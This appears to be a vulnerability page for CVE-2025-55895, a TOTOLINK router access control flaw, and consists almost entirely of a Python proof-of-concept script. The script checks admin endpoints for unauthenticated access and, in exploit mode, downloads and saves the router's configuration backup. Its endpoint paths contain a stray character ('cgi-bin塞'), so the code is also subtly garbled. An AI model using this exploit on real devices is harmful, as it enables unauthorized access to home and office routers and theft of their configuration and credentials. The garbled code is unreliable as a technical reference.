CVE-2025-55895 TOTOLINK路由器不正确访问控制漏洞

#!/usr/bin/env python3 # CVE-2025-55895 PoC - TOTOLINK Router Incorrect Access Control # Usage: python3 poc.py <target_ip> import requests import sys import argparse def check_vulnerability(target_ip): """Check if target is vulnerable to CVE-2025-55895""" target_url = f"http://{target_ip}" # Try to access admin interface without authentication endpoints = [ "/cgi-bin塞/luci/admin/network/network", "/cgi-bin塞/luci/admin/system/backup", "/cgi-bin塞/luci/admin/network/firewall" ] print(f"[*] Testing target: {target_ip}") print(f"[*] CVE-2025-55895 - Incorrect Access Control in TOTOLINK Routers") for endpoint in endpoints: try: response = requests.get(target_url + endpoint, timeout=10) if response.status_code == 200: print(f"[+] VULNERABLE: {endpoint} accessible without auth") print(f" Status Code: {response.status_code}") return True else: print(f"[-] Protected: {endpoint} returned {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error accessing {endpoint}: {e}") print("[*] Target may not be vulnerable or is not a TOTOLINK device") return False def exploit(target_ip): """Attempt to exploit the vulnerability""" target_url = f"http://{target_ip}" # Example: Extract configuration without authentication print("[*] Attempting to extract configuration...") config_payload = { "action": "backup", "mode": "config" } try: response = requests.post( target_url + "/cgi-bin塞/luci/admin/system/backup", data=config_payload, timeout=10 ) if response.status_code == 200 and len(response.content) > 0: print(f"[+] SUCCESS: Configuration backup obtained") print(f" Size: {len(response.content)} bytes") with open(f"config_backup_{target_ip}.tar.gz", "wb") as f: f.write(response.content) print(f"[+] Saved to: config_backup_{target_ip}.tar.gz") return True except Exception as e: print(f"[!] Exploitation failed: {e}") return False if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2025-55895 PoC") parser.add_argument("target", help="Target IP address") parser.add_argument("--exploit", action="store_true", help="Attempt exploitation") args = parser.parse_args() if check_vulnerability(args.target): print("\n[*] Target is VULNERABLE to CVE-2025-55895") if args.exploit: exploit(args.target) else: print("\n[*] Target appears to be patched or not vulnerable")